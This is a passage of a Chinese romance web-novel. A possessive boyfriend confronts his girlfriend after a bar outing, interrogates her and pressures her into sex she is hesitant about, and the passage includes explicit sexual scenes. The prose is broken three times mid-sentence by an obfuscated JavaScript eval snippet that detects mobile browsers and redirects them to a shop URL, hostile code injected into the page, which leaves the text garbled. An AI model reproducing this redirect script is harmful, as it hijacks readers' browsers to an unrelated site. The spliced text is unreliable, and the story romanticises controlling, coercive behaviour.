哪怕她其实并没有看清楚那个人的面容,也不确定那人是否真的是她男朋友,可强烈的直觉还是让她浑身警铃大作,立刻拿起包就想离开酒吧。 却在转身的瞬间不慎撞到旁人,她匆匆道了声歉,正欲继续迈步,那人却突然探手拦住了她。 她略显惊慌地抬头看去,对上一张陌生的男人脸孔。 年轻的男人脸上带着笑,目光直勾勾地盯着她的脸,道:“你好,我从刚刚就注意到你了,你好漂亮呀,我能请你喝杯酒吗?” 祝昀伊摇摇头,下意识后退一步:“抱歉,我要走了──” “别那么早离开嘛,这才几点。”男人暧昧地冲她眨眼,态度热情,“再待一会,我们认识一下?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093437|195542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>祝昀伊一边摇头一边后退,此刻现场的灯光忽然又疯狂闪烁起来,直晃得她有些睁不开眼。 震耳欲聋的音乐声一瞬间盖过了对方的声音,她只能看见他的嘴巴不断开阖,说话间又朝她靠近几步,几乎要贴到她身上来。 “滚开──” 正欲出口的话语被另一个人说了出来。 祝昀伊一愣,下一秒,防备地置于胸前的手倏然被人给握住了,那人修长的手指穿过她的指缝,带着点力度将她的手掌紧紧地包裹在掌心里。 随后视线里出现一道高大挺拔的身影,牢牢地替她遮挡住所有投向她的目光。 当感受到对方身上那股熟悉的气息时,祝昀伊立刻忘却所有恐惧,下意识回握住他的手,另一只手也抱住了他的手臂。 “离我女朋友远点。” 谢今越冷着脸看向面前的男人,眼神凌厉得像要杀人。 对方被他阴沉的表情唬了一跳,吓得酒意顿消,连忙一边说着“误会误会”,一边领着朋友灰溜溜地走了。 待那些人走后,原先热闹的卡座也陷入了几秒钟的寂静。 冷不防看见谢今越出现在这里,祝昀伊的几个室友都吓了一跳,不由小心翼翼地观察了下他的脸色,又在他和祝昀伊之间来回打量,心里都有股完蛋了的念头。 眼见祝昀伊正耸拉着脑袋贴在他身旁,许晓蓓连忙顶着满头冷汗帮忙解释:“那个,今天是棠棠的生日,所以才会──” “我知道。”谢今越打断了她的话。 此刻他的面上挂着淡淡的笑意,声线清越,语气平稳,听着并不像是生气了。 可许晓蓓却莫名地更加不安起来。 这时,谢今越突然转向也正呆呆地看着他的林知棠,道:“祝你生日快乐,可惜我没有准备礼物,抱歉。” 林知棠被他看得浑身一抖,连忙疯狂摆手:“没事没事,不需要礼物,谢谢谢谢!!” 谢今越唇边的笑容加深,笑意却不达眼底。 他抬目环视在场的几人一圈,语声温和大方:“虽然没能准备礼物,不过今晚各位的消费都由我包了,祝你们玩得开心。” “至于昀伊──” 话到这里一顿,他看向祝昀伊的几个室友,道:“我们待会还有事,我就先把她带走了。” 明明是商量的语气,却带着股不容他人拒绝的压迫感。 几个人面面相觑,甚至来不及去看祝昀伊的反应,谢今越已牵着她的手大步转身离开。 - 外头正下着暴雨。 老天爷就像在极力宣泄着什么似的,倾盆大雨如同瀑布般自天上降下来,暴力地冲刷着整座城市,时不时还伴随着几道轰隆雷声响彻天际,是非常糟糕的坏天气。 祝昀伊一路被谢今越牵着大步往外走,直到被雨幕阻挡在檐下。 她看了看面前的大雨,又看了看身旁表情冷漠的男人,只觉得他此刻的心情大概就如同这坏天气。 倒是莫名应景。 就在这时,她的腰间蓦然一紧,谢今越单手将她揽进怀里,另一只手上则多了把黑色的伞。 带着她走入雨幕之下时,绝大部分的伞面都朝着她的方向倾斜。 祝昀伊看见他被雨水打湿的半边肩头,正想抬手将伞扶正,却在刚碰到伞柄时被他制止:“别乱动。” 明明应该是非常温柔的声音,可当被沉怒的情绪包裹时,却字字句句都透着令人胆颤的寒意。 “……” 她指尖一顿,缓缓地收回了手。 谢今越垂眸看了她一眼,前方恰好有个水坑,他抱着她的腰将她凌空提起,自己则大步踩着水坑而过。 当水花溅上鞋面时,他微微皱了下眉,却没有说些什么。 等到祝昀伊被他护着送进了车里,他也从驾驶侧上了车,两人还是没有说话。 随着车门关上,如同老天怒吼般的暴雨声被车子良好的隔音阻挡在车厢外,四周顿时安静下来,一时之间只剩下两人的呼吸声和引擎运转的细微声响。 往常祝昀伊坐他的车时,谢今越都习惯打开车载音响播放她喜欢的歌。 可今晚却没有这么做,而是任由这压抑到令人心慌不安的沉默在彼此之间无限蔓延。 “……” 祝昀伊实在是受不了这种快要让她喘不过气的心理压力。 她纠结再三,还是决定把许晓蓓没能说下去的解释说完:“今天是棠棠的生日,所以我们──” “闭嘴。” 话语却再次被人打断,这次是比在她的室友们面前更甚的暴躁怒意。 谢今越单手握着方向盘,忽然侧头看了她一眼,镜片后的眼睛深不见底,如同能将人吞噬的深渊。 他冷笑道:“别着急,我今晚有的是时间和你好好算帐。” 4. 鱼缸 “……” 祝昀伊不说话了。 她沉默地把脸转过来面向前方,手指无意识搓着袖口边线。 黑色保时捷如同一道闪电飞速行驶在深夜的雨幕里,将两侧的城市街景变成了不断流淌而过的霓虹流线。 祝昀伊一路出神地看着车窗上的雨珠,直到她看中的那枚雨珠终于在风的助力下输掉了雨珠赛跑后,车子也恰好驶入了谢今越位于学校附近的公寓。 待他把车停好,她才解开安全带默默地下了车。 祝昀伊握紧包包背带站在车旁,看着谢今越也从驾驶座下来,只等着他从她面前经过再跟上去。 却见他下车之后,目光突然越过车顶看向她,随后快步走过来握住她的一只手,牵着她一起走进电梯。 偌大的电梯内,两人依然无话。 祝昀伊盯着不断攀升的楼层数字,满脑子的注意力却在那只正被他牢牢地握在掌心的手上。 她甚至不知道他到底还生不生气。 如果真的气极,不是应该连碰一下对方都不愿意吗? 祝昀伊有些恍惚地想着。 哪怕她已经和谢今越交往了近两年的时间,可还是时常觉得自己并不了解他,而这种感受在近期更是越发强烈起来。 她想,也许谢今越也同样并不了解她。 “叮──” 电梯恰好在此刻抵达了二十八楼。 谢今越在校外的住处是栋位于四环的高级公寓,这里一层只有两户,每一户占地足有一百八十平,哪怕交往前祝昀伊就知道他家境不凡,可第一次来到这里时还是被吓了一跳。 而待知道他在寸土寸金的京市不只有这处房产,选择住在这只是因为离学校很近,这份惊吓又变成了茫然。 有钱人的世界她不懂。 不过祝昀伊也没有陷入混乱太久,很快就完成了逻辑自洽。 她想,这毕竟是个天天骑着价值六万元的自行车去上学的人,家里的房产多了点也算合理。 再加上,华大要求本科生住校,只对需要校外实习或准备出国留学的大四生放宽限制,因此谢今越在大四以前其实也是和其他学生一样住校,只有周末时才会来到这里。 不过自大三暑假开始,他以实习为由申请了免除住宿,自此长住在这。 甚至试图用同样的理由把她拐来和他同居,但被她给拒绝了。 当时她提出的理由是实习的地方离他住的公寓太远,不仅离公寓很远,离学校也很远,来回需要两个小时。 因此祝昀伊其实正考虑着要搬去实习公司附近,毕竟大四的课很少,她只有周四和周五需要进学校,其他的时间都在实习。 然而此事还得从长计议,因为她若是住到公司附近,对于某人来说就算是远距离恋爱了。 而他显然并不希望如此。 正胡思乱想时,谢今越已经领着她进了家门。 直到大门在她身后缓缓关上、锁住,宽敞安静的房子里只剩下他们俩,祝昀伊才惊觉自己的处境不妙。 室内并没有开灯,只有侧旁的边柜上亮着几盏昏黄的氛围灯。 谢今越松开手走向沙发,而祝昀伊则抿着唇站在离玄关不远处,握在包包背带上的手不自觉愈收愈紧。 外头的雨好像下得更大了。 “站在那做什么?” 谢今越坐进沙发里,一条手臂搭在椅背上,直盯着祝昀伊道:“过来。” 他的意思显然是希望她坐到他身边去。 方才被极力压下的忐忑在对上他幽沉的眼睛时一股脑地涌了出来,这一刻她的耳边好似又传来擂鼓般急促的心跳声。 祝昀伊站在原地踌躇片刻,还是慢吞吞地朝他走过去,却没有坐到他身旁,而是选择坐在一旁的单人沙发里。 谢今越见状神色未变,只是搭在椅背上的手缓慢地放下了。 四周的气压似乎又陡然沉下去几分。 此刻窗外是雷雨交加的坏天气,而面前人的眼底仿佛也下着暴雨,向着她铺天盖地而来。 祝昀伊消极地垂着脑袋,静待着这场大雨将她彻底淋湿。 “说吧。” 率先打破沉默的人是谢今越,他定定地看着她,“解释一下今晚发生的一切。” 只见他神色如常,语声平稳,一副打算和她好好谈谈的模样,可若是细看他的眼神,就能发现那里头的冰冷与怒气一丝未散。 “……” 祝昀伊不知该从何说起,只好保持沉默。 谢今越等了一会,见她始终不发一语,不由嘴角轻扯:“不说话?那我一个一个问吧。” 他首先抛出的第一个问题是:“为什么不回消息不接电话?” 祝昀伊抿了抿唇,道:“我和室友们在一起,没注意……” 谢今越突然笑了一声。 他的声音很轻,却比大声咆啸更加令人感到不安:“是没有注意,还是刻意忽略?” 祝昀伊低下脑袋,没敢和他对视。 谢今越见状也猜到了答案,眼神于是愈发幽暗,嘴上却说:“好,姑且相信是没注意吧,那我打给你时,你明明看到了,为什么不接电话?” “不小心按到了,不是故意的……” “不是故意的?” 谢今越重复了一次她的话语,他反复咀嚼这几个字眼,语声渐渐发冷:“那背着我去那种地方呢?也不是故意的?” 这句话宛如套脖绳索,一下子掐住了祝昀伊的咽喉,迫得她一时说不出半句话来。 直到谢今越沉声催促:“说话。” 祝昀伊这才艰难地开口,她努力让语气显得平稳:“今天是棠棠的生日,为了给她庆生才去的。” 谢今越仍旧面无表情,也不知道是不是接受了这个说法。 他追问道:“那为什么要骗我?” “我……” “嗯?” 祝昀伊实在不知该作何解释。 她知道自己不该欺骗他,不该瞒着他去酒吧,她现在应该要果断认错,并向他保证这种事情绝不会再发生。 可是下一秒,出口的话语却变成了:“我们……只是去续摊而已,我没有想那么多。” 听着她明显避重就轻的话语,谢今越的脸色彻底沉了下去,原先佯装出来的温和讲理在一瞬间消失无踪。 他倏地冷笑着说了一句:“祝昀伊,你难道看不出来我在生气吗?” 祝昀伊眼睫一颤,下意识道歉:“对不起。” 孰料听见这句话后,谢今越更火大了,满心暴躁的怒意已然压制不住:“你知道我想听的不是道歉。” 这时祝昀伊终于抬起头来。 与他沉怒的目光对视的瞬间,不知怎的,她感觉格局宽敞方正的客厅好似忽然变成注满了水的鱼缸,而她则是沉在水底的一尾小鱼。 周围的一切因为水的阻隔而变得很远很远,她看得模糊,也听不清楚。 想要开口说话,冰冷的水却顺着喉管灌入胸腔,直压得她发不出半点声音,甚至是感到窒息。 这一秒,祝昀伊突然觉得有点委屈。 可她没有选择在第一时间纾解这份心情,而是缓缓从沙发上站起,向着正冷冷地看着她的男人而去。 此刻对方眼底积压的怒意像狂风暴雨,足以令人见之却步。 可祝昀伊没有丝毫停顿,她一路来到他的面前站定。 与那双黑沉沉的眼睛对视几秒,她在他充满压迫感的目光下抬起了手,主动将他的眼镜拿下来。 谢今越戴着眼镜的时候看起来颇为斯文清俊,镜框与镜片的修饰柔和了他的眉眼,令他深邃立体的面部线条多了几分温和。 可一旦把眼镜拿下来,眉宇间的浓烈英挺便再也压制不住,显露出几分夺目的攻击性。 祝昀伊将他的眼镜放到一旁,复又抬起手,轻轻捧住他的脸。 随后她俯下身子,柔软微凉的嘴唇小心翼翼地印上了他的面颊。 像是安抚、又似讨好,一触即离。 明明是轻得几乎让人感受不到重量的吻,却令原先如暴风雨般磅礴的怒气在一瞬间全数沉寂下来。 谢今越抬目对上她雾蒙蒙的眼睛,他仍旧冷着脸,语气却不自觉放轻了:“就这样?” “……” 祝昀伊眼睫轻颤,又在他另一侧脸颊也印上一吻。 谢今越还是盯着她,显然并不满意。 祝昀伊只得继续凑上前,嘴唇轻轻贴住他的,缓慢地摩擦。 下一秒,他修长有力的手臂骤然环住她的后腰,往上一提,便轻易将她抱到腿上来。 随后另一手捧住她的脸,潮热而深重的吻重重地落下,他的舌尖强势地顶开齿关,轻易便深入到她的口腔里,肆意搅弄。 “唔嗯……” 祝昀伊艰难地回应着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093438|195542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,雪白的面颊很快就浮上一层浅浅的红晕。 她的双手软绵绵地搭在他的肩膀上,没有什么推拒的力气。 这一吻持续了很久,直到她的眼角泛起了生理性的泪水,谢今越才终于放过了她。 他牢牢将她困在怀里,低着头与她前额相抵,声音有些哑:“哄人得这样才有诚意。” 祝昀伊正微微张着嘴小口喘气,眼角挂泪的模样可怜又可爱。 谢今越用长指摩挲着她微红的眼角,其实气已经消了大半,但还是有些不爽:“今晚这么漂亮,就是为了去那种地方?” ——那种地方。 听听他这语气,祝昀伊有种自己去的其实不是酒吧,而是男模店的错觉。 “不是……” 她闷闷地解释:“我陪瑶瑶去试口红,被柜姐拉着试了下新品而已。” “是吗。”谢今越扣着她的下巴,目光在她闪着碎光的眼妆,和被纤长眼线勾勒得异常妩媚的眼睛一一扫过。 比照片上看到的还要漂亮。 想到酒吧里那个几乎要贴到她身上的杂碎,他不由唇线绷紧,眼底浮现几许戾气。 正摩娑着唇瓣的指腹用了点力,将她柔软的嘴唇揉得微微变形。 可他的表情依然很平静,语气也轻得令人发慌:“你们今晚的聚会真热闹,不过看上去不只有你的室友们在,还有什么人?” 祝昀伊咽了口口水,道:“除了我和室友们,就只有几个隔壁寝室的女孩子,至于其他人……不是我们的朋友。” 其他人指的是那些过来搭讪她们的男生。 谢今越指尖一顿,道:“所以那些是过来搭讪的陌生人。” 这句话用的是肯定的语气。 祝昀伊迟疑地点点头。 谢今越扯了下唇角,又问:“和你要联系方式了吗?” 祝昀伊没敢再说谎,老实地回答:“嗯……但我没给。” 话音落下,揉着唇瓣的手又倏地用力了几分,甚至探入一小截指节到她的嘴里。 祝昀伊眉头微蹙,忍不住握住他的手阻止他继续作乱。 谢今越看了一眼她握在他腕间的手掌,复又抬起眼,就这么望着她不说话,不知在想些什么。 见他这副模样,祝昀伊想起了午后乌云压城、却迟迟未落的那场大雨。 一如此刻的他,阴沉闷重得令人愈发感到压抑不安,堪比折磨。 还不如直接冲着她咆哮发怒呢。 祝昀伊垂下眼睛,用双手将他宽大的手掌包裹在掌心,道:“我没有搭理那些人,没有加他们好友,也没有喝酒……我不是故意不回消息不接电话的,还有,骗了你是我不对。” “对不起,你不要生气。” 随着她抬眸,谢今越猛然撞入一双雾气氤氲的眼睛里,他停顿几秒,蓦地反手扣住她的双腕将她拉近。 “不要有下次。” 他微凉的唇瓣落在她的嘴角,顺着脸侧往耳畔吻:“我不喜欢联系不上你的感觉,不喜欢你去那种地方,不喜欢你和别的男人说话,更不喜欢你说谎欺骗我。” 说这些话时,他的声音依然很轻,声线干净清润,却像雨天黏稠闷重的湿气钻入骨髓,直浸得人脊背发凉。 祝昀伊伏在他怀里,乖乖地应声:“嗯。” 如同风雨欲来的压抑气场终于在此刻散去,取而代之的是暧昧缠绵的氛围逐渐将两人包围。 细雨般缠人的吻在她的耳畔流连一会,又顺着脖颈往下肆虐。 原先环在她腰背上的手也探入衣摆,动作肆意,带着几分挑/逗意味。 祝昀伊察觉了他的意图,然而她今晚兴致不高,忍不住避开他的吻,轻声道:“别,今天……” 后头的话还没说完,正埋头在她锁骨处咬/吻的男人蓦地抬起头来,黑沉沉的眼睛直勾勾地望进她眼底,带着明晰的渴望和侵略性。 “说好今晚陪我的。” 谢今越轻啄着她的唇,道:“伊伊,听话。” “……” 祝昀伊一顿。 当这句话如魔咒般落下,所有想要推拒与表达的心思也在转瞬间偃旗息鼓。 又退回了原地。 沉默几秒,她抬手环住他的脖颈,埋头在他的肩膀闷声道:“……我想先去洗澡。” 谢今越闻言顺势将她抱起,抱着她往主卧的浴室去。 “一起洗。” 5. 指甲刀 浴室里,祝昀伊坐在洗漱台上,面前是正在替她卸妆的谢今越。 他一手捧着她的脸,另一手用长指卷着卸妆棉轻轻在她面部擦拭,力度刚好,动作也小心翼翼,像在对待名贵易碎的藏品。 祝昀伊像个洋娃娃般任他摆弄,让抬头就抬头,让闭眼就闭眼。 此刻她闭着眼睛,感受着他的指尖在她的眼部轻敷擦拭,应是正在替她卸去眼妆。 他的动作实在过于轻柔缓慢,祝昀伊被他伺候得有些昏昏欲睡,若换了她自己来,估计一分钟就能卸好妆并洗完脸。 不过她也没有开口催促,只因谢今越向来是个细致入微的人,且总是热衷于为她做这些事。 小至卸妆、大到穿衣,他什么都要管。 明明平时也是个忙得不得了的人,真不知他怎么总能分出心神不断关注她在哪里、在做什么,像是恨不得在她身上装个可远程操作的摄像头时刻监控。 祝昀伊漫无边际地想着。 这时,停留在她脸上的指尖突然一顿。 祝昀伊眼睫轻颤,刚想问他“好了吗”,下一秒忽地感受到温热的呼吸迫近。 她还来不及睁眼,面前的人已捧着她的脸用力地吻了上来。 彼此的唇瓣甫一接触,他的舌尖便立刻探了进来,勾缠住她肆意地搅弄欺负,仿佛恨不能深入到喉间,将她的呼吸全数夺走。 “呜……嗯……” 祝昀伊跟不上他的节奏,只能仰着脸被动地承受着这个吻。 兜不住的水泽自嘴角淌下,很快就打湿了她的下巴。 此刻鼻息间已然充盈了他的味道,当她睁开眼,更感觉近在咫尺的他像是一张大网,铺天盖地笼罩住她。 无处可逃。 祝昀伊抓紧了他的衣襟,意识恍惚间,不知怎的竟想起了两人第一次接吻的情景。 那时他们才刚交往不到一周,在某个送她回宿舍的夜晚,他主动拉住她,低着头在她唇上落下非常轻柔的一吻。 只是个蜻蜓点水般一触即离的吻,却惹得两人耳根通红,看向彼此的目光不约而同地带着羞涩的躲避。 然而不知从何时起,谢今越的吻再不复当时的小心翼翼,总是带着深重而又黏稠的渴望和掠夺。 祝昀伊有时会想念那个像羽毛般温柔的吻,以及月色下他望向她时亮晶晶的眼。 “不……不要了……” 她实在呼吸不过来,忍不住推了他一把,别开脸避过亲吻。 谢今越顺势松开她,双臂却依然撑在她的两侧,将她围困在臂弯里,显然也没有放过她的意思。 祝昀伊被他幽沉的眼神看得满面通红,又推了他一把,想从洗漱台上下来。 没想到这次竟然很轻易地推开了。 她没有多想,顺利下来后,立刻趿着拖鞋往淋浴间跑,可才刚踏出一步就被人从身后抱住腰肢。 随着那人使力往上一提,她的双脚立时离地,拖鞋从脚上掉落,被他随意地踢到一旁。 “去哪里。” 耳垂又被人咬住了,带着些微沙哑的清润嗓音像潮水般灌入耳里:“说好我帮你洗的。” 不!我们没有说好! - 祝昀伊真心不喜欢和谢今越一起洗澡。 她是个羞涩含蓄的南方人,而他比北方澡堂的搓澡阿姨还要可怕。 不仅每一寸皮肤都要认认真真地清洗,有时候,甚至不只是皮肤。 总而言之,每次一起洗完澡出来,她总能精神涣散许久,然后顶着吹得半干的头发被他扔进柔软的床铺里。 谢今越无疑是个非常有服务精神的人。 明明是吃穿用度都极度讲究,对他人也颇为挑剔的家伙,可在服务伴侣这方面,此人的表现却堪称模范。 ……甚至有些过于模范了。 窗外的暴雨尚未停歇,淅淅沥沥地打在透明的玻璃上,可隔音良好的卧室里却一点也听不见风雨的声响,此刻充斥在祝昀伊耳畔的,是她自己的喘息声。 她扬起脖颈,感觉声音和身体一道绷紧成了一条细线,也许下一瞬就会彻底绷裂。 抬手去扳扣紧在双侧膝盖上的大手,可任凭她如何使劲,那双手依然像焊在她膝头般纹丝不动。 只有唇舌间愈发用力的力度作为回应,甚至还又添上一点不轻不重的啃噬。 他的鼻梁很挺,随着低头的动作重重压过来时,祝昀伊只觉得自己仿佛不会呼吸了。 扳不动他的手,她只好去抓他的头发,可却依然只是徒劳。 这时她突然想起室友在火锅店里问她,谢今越会不会欺负她,比如在床上表现得比较粗暴? 不,其实谢今越一点也不粗暴。 可他的确会欺负她。 与其说他是粗暴,不如说是热情得过分,骨子里的强势和控制欲在这种时候全然掩藏不了一点,经常折腾得她招架不住。 她愈是求饶躲让,他愈是要她丢盔弃甲,因为受不了而全面溃堤,为此简直无所不用其极。 祝昀伊甚至不知道自己是从什么时候开始哭的,当她回过神来时,已经听见自己细弱的哭声和求饶声。 “小鹿。” 谢今越回到她面前,细密地吻去她眼角滚落的泪珠,又唤了她一声:“小鹿,看我。” 他私底下喜欢喊她“小鹿”,她曾问过他原因,他说是因为觉得她像鹿一样。 大抵就像有些人会觉得另一半像小猫或小狗,而他则是觉得她像小鹿。 祝昀伊睁开眼,当满盈在眼眶里的泪水随着眨眼的动作而化作泪珠滚落,眼前人的模样也因此变得明晰。 她看见撑在上头的男人正定定地注视着她,他的下巴沾着一层薄薄的水光,黑沉沉的双眸像是宇宙黑洞,要将她的灵魂吸纳其中。 谢今越总是热衷于在这种时刻凝望她的眼,祝昀伊却对此感到胆怯。 也许是因为,当彼此视线相交的瞬间,仿佛灵魂也彻底交融在一起,属于自己的一切都将在对方眼底无所遁形。 可是祝昀伊害怕向他人展示她的所有,即便她其实渴望被人理解。 所以她总忍不住偏头避开他的视线,又在下一秒被他扣住下巴强硬地扭回来。 她挣脱不得,只好紧紧闭上眼睛。 “小鹿,伊伊,宝宝……” 谢今越一遍一遍地在她耳边低声轻唤,又在她始终不愿睁眼时亲吻她的眼睛,吻去她向着耳际滚落的泪珠。 祝昀伊被缠得毫无办法,终于忍不住给了他肩膀一爪子。 下一秒便听见他闷哼一声。 她连忙睁开眼睛想去看他的肩膀,却见他握住她作乱的手,盯着她的指尖道:“得给你修剪指甲了。” 祝昀伊一愣。 尚未回神,他突然将她的双手拉过去环在他的脖子上,随后抱着她从床上坐起。 谢今越喜欢在做的时候看着她的眼睛,自然也钟爱所有能与她面对面相望的姿势。 坐在他腿上的时候,她的水平视线会比他的更高一些,稍稍垂下目光,就能看见他仰脸凝望她的表情。 如同膜拜一样。 在她怔愣之际,他已一边动作一边再次仰头吻住她,将她所有喘息和哭音全消弭在彼此纠缠的唇舌间。 窗外的雨依然淅沥沥地下着。 祝昀伊感觉自己也像被风雨吹拂得不断摇摆的枝桠,只能无助地抱紧他的脖子。 当强烈的感觉席卷全身时,眼泪忽如雨水般扑簌簌地落下来,却分不清是生理还是心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093439|195542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理上的原因。 直到谢今越细细密密地将她的眼泪舔舐干净,她看着近在咫尺的人,竟没来由地觉得委屈,甚至是,感到有一点点的伤心。 一眨眼,便又是一串泪珠滚落下来。 “怎么哭了?”谢今越察觉到不对,下意识放缓了力度,哑着声音哄道:“乖……我没用力。” “……” 祝昀伊眼眶通红,纤长的睫毛已然被眼泪彻底沾湿。 面对他不解的目光,她的喉头突然一阵哽咽难言,缓了好一会才艰难地说:“我只是……只是……” 只是什么? 祝昀伊竟不知该如何向他表达。 她莫名地想到了挂在诊所墙上的儿童画作,想到了坐在诊间里时窗外乌云压城的情景,想到了诊疗结束后领到的那一包包药品。 一度想对他诉说什么,可千言万语到了喉头,又被内心的胆怯压了回去。 于是她只是说:“……你抱抱我就好。” 听见这句话,谢今越原先紧蹙的眉头缓缓舒展开来。 他收紧手臂,更加用力地抱住了她,并仰着脸从她的下颔一路吻到眼角,带着几分安抚的意味。 祝昀伊垂着眼睛任由他亲吻。 不知道为什么,明明应该是世界上最亲密的距离,可她却觉得他也像是在水的另一端般离她好远好远。 情绪深深地沉进了水里。 - 结束之后,谢今越抱着祝昀伊到浴室清洗。 洗完澡,他替她吹干头发,又拿着修剪指甲的工具到她的面前来。 谢今越向来是个效率十足的行动派,他今晚说要替她剪指甲,就绝对不会拖到明早,不像祝昀伊可能还会拖延几天。 其实她的指甲并不长,也没有做美甲,不过和他总会定期修整打理的指甲相比,确实是长了一点,用力抓在人肩膀上时,足以留下刺目的红痕。 随着指甲前缘被逐一修剪过,她的指尖也变得圆润起来,不再具有任何杀伤力。 祝昀伊抱着枕头坐在床上,安静地看着正一脸认真地替她修剪指甲的男人。 也许是因为刚经历过一场情事,他脸上那副冷漠沉怒的神色已然彻底消失,取而代之的是温和中带着点餍足的神情,这令他看起来像是只刚被好好地顺了毛、脾气全消的雪豹。 她略有些失神地看着他发了一会呆,又想起了方才未尽的话语。 反复纠结再三,还是试着鼓起勇气再度开口:“今越,下午的时候──” “下午不是和室友们一起去看电影吗?” 谢今越突然打断了她的话,他抬眼望进她眸底,道:“那部电影演了什么?” “……” 面对他带着探究的目光,涌到喉间的话语猛然被再次压下。 几秒钟的沉默过后,祝昀伊扯了扯嘴角,把话深深吞回腹中,轻声道:“只是个无病呻吟的庸俗故事,不是很好看。” 谢今越眉梢一动,还想再追问些什么,却见女朋友已然收回手,拉起被子将自己团团盖住,一副困极了想睡觉的模样。 他见状便没再说话,起身关了灯。 回到床上时,他强硬地拉起被她卷住的被子一角,钻入被中,并把人揽进怀里牢牢地抱住。 祝昀伊没有挣扎,只是把脸深深埋进他的胸膛。 谢今越听着她轻浅的呼吸,忽然又想起了她那显出几分异常的眼泪。 揽在她肩上的手于是缓缓下移,力度适宜地替她揉着腰,嘴唇也落在她的发顶,轻声问:“还疼不疼?” “……” 祝昀伊没有说话,过了好一会才慢吞吞地摇摇头。 一片黑暗之中,她睁着泛红的眼睛直盯着他的胸口,久久无法入睡。 6. 维生素 一起度过了个完整的周末后,谢今越在周日晚上送祝昀伊回宿舍。 “明天我去接你下班。” 他松开牵着她的手,将另一手提着的甜点纸袋递到她手里,道:“晚上一起吃完饭再送你回来。” 祝昀伊愣了愣,道:“可是你明天不是在学校吗?从学校到工作室太远了……” 她实习的公司在82艺术特区,从学校过去的话,搭乘地铁需要一个小时的时间,即便开车也至少要四十分钟左右,这还是在非高峰时期,如若遇上晚高峰,可能会耗时一个半小时以上。 “还是等我搭地铁回来再……” “地铁上太挤了。” 谢今越其实没怎么搭过地铁,不过他曾去地铁站接过她,从地铁站里如沙丁鱼般庞大拥挤的人潮来看,他大概可以推测出车厢内是个什么情景。 他抬手将她颊边被风吹乱的头发理到耳后,道:“我走高速很快。” “可是……”祝昀伊还想劝他,谢今越已飞快打断了她的话,“想一下晚餐想吃什么,明天我会准时在你们公司楼下等你。” 他向来是说一不二的性格,一旦决定好了就不会轻易改变念头。 祝昀伊拗不过他,只好无奈地答应了。 她轻轻拉了下他的手指,道:“那你开车小心,要是提早到了就和我说。” 谢今越见状又顺势牵住她的手,将她拉近一点,他的眼底漫起笑意,低下头来直勾勾地看着她。 祝昀伊仰脸在他的面颊落下一吻。 待她亲完退回原地,却见他一动也不动,仍旧定定地看着她。 祝昀伊读懂了他的暗示,可她看着人来人往的宿舍门口,实在不好意思:“这里人很多……” 谢今越眉头微挑,一本正经地提议:“那我们去没人的地方?” 祝昀伊:“……” 真要跟他去没人的地方,她今晚说不定就回不了宿舍了。 真不知道这人为什么那么喜欢亲亲,这个周末关在他家里还亲不够吗! 见他一副不亲就不放人的模样,祝昀伊别无他法,只好踮起脚尖飞快地亲了下他的嘴唇。 随后就见眼前的男人满意地扬起唇角,抬手摸摸她的脑袋,奖励一般的口吻:“乖,进去后早点睡觉,别又熬夜了。” 祝昀伊红着脸点点头。 回到寝室的时候,恰好三个室友都在。 一见她进门,离门口最近的许晓蓓立刻飞奔过来,像个安检站的检查人员般围着她细细查验。 祝昀伊乖乖站在原地任她左捏右揉,哪怕被捧住脸颊乱七八糟地揉了一把,她也只是弯起眼睛好脾气地冲对方笑。 许晓蓓顿时被萌得捂住了鼻子。 顾瑶见状嘴角抽搐,一把推开她,凑过来关心地问:“伊伊你没事吧?那天你们走后你男朋友说什么了吗?他生你气了?” 许晓蓓和林知棠也都盯住祝昀伊。 天知道那天看见谢今越突然出现在酒吧里是多么惊悚的一件事,简直吓得她们几人的头皮都要炸开了! 虽然他当时表现得温和大方,看着不像是非常生气,可大伙们还是敏锐地感受到气氛的不对劲。 后来昀伊被他带走,整个周末都没回宿舍,就连消息也不怎么回,她们更是坐立难安,深怕昀伊和男朋友吵架被他责难。 如今见祝昀伊神情如常地回来,并不像是和男朋友大吵一架的模样,几人稍稍松了口气,纷纷包围住她。 面对室友们关切的目光,祝昀伊拎起手上的甜品袋子问:“吃蛋糕吗?谢大帅哥买的。” 林知棠第一个转移了注意力,亮起眼睛道:“吃吃吃!” 下一秒就被顾瑶敲了脑袋,捂住额头委屈地退到一旁。 祝昀伊见状笑着走回自己的桌子前,将纸袋里包装得精美可口的蛋糕拿出来,一人分了一个,又给她们递了叉子。 顾瑶接了蛋糕,不忘继续追问:“所以你没事吗?说呀伊伊,快说呀我都要急死了!” 她一边说一边扣住祝昀伊的肩膀前后摇晃,后者被她晃得头晕目眩,终于开口答道:“我没事……我能有什么事?” “他就是问了为什么去酒吧不告诉他。” 